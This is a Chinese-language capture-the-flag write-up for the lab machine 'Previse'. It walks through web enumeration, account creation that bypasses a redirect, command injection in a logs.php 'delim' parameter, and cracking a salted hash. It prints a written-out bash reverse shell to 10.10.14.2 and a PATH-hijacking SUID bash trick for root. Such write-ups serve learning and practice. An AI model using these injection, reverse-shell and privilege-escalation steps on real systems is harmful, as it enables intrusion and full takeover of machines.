Previse
nmap扫描,开放22、80.
访问80,是一个登录页面
dirsearch扫扫,属于是啥也没扫出来
wp里扫出个nav.php
点击这几个链接,发现都跳转到了login.php。
使用bp抓包,不会自动跳转;看到了accounts.php
的内容
根据幻想出来的表单,提交POST请求,创建新用户
使用创建的用户成功登录
找到一个SITEBACKUP.ZIP
下载之后在config.php
中找到了一对账号root\mySQL_p@ssw0rd!:)

在logs.php
中发现exec
函数,该函数将接收delim
传来的参数,并执行
对应页面为
bp抓包,修改delim的值
;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/1234 0>&1';
url编码后发包
拿到反弹shell
检查/etc/passwd
文件,存在用户m4lwhere
查找数据库中的内容,得到m4lwhere的hash后的密码$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
,其中包含一个salt值
在login.php
中找到相关的代码,根据代码可知使用$1$🧂llol$
作为salt加密了密码,得到了数据库中的字符串
使用john跑一下密码
ssh登录
sudo -l
检查,可以执行/opt/scripts/access_backup.sh
不出意料,不具备写权限
检查文件内容,发现是在对访问日志做备份
提权方法直接看了wp,理解了一下,不是很难,大概就是对环境变量的劫持
在Linux中执行命令时,会按照$PATH
的顺序挨个去每个文件夹下查找是否存在名称符合的可执行程序,可以使用echo $PATH
查看
以上述执行结果为例,如果在/usr/local/sbin
和/usr/local/bin
下都存在一个bash
可执行文件,那么就会先使用/usr/local/sbin/bash
;如果/usr/local/sbin
中不存在bash
,则会继续向后寻找,直至在某一个文件夹中找到一个叫做bash
的文件。
在这题中,使用如下命令将/tmp
目录作为新增加的环境变量目录
export PATH=/tmp:$PATH
然后在/tmp目录下创建了一个gzip文件,文件中写入
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4755 /tmp/bash
这里又使用到了4755
这个特殊权限,将/tmp/bash的SUID置位,那么在运行/tmp/bash的时候,它就会以该文件的所有者的权限运行。
需要注意的是,要将新创建的gzip文件添加可执行权限
chmod +x gzip
然后使用sudo执行脚本,执行完成后会发现在/tmp目录下多了一个bash文件
执行bash -p
,可以看到当前用户还是m4lwhere,但是euid
已变成0
,也就是当前进程拥有root用户的权限,从而完成提权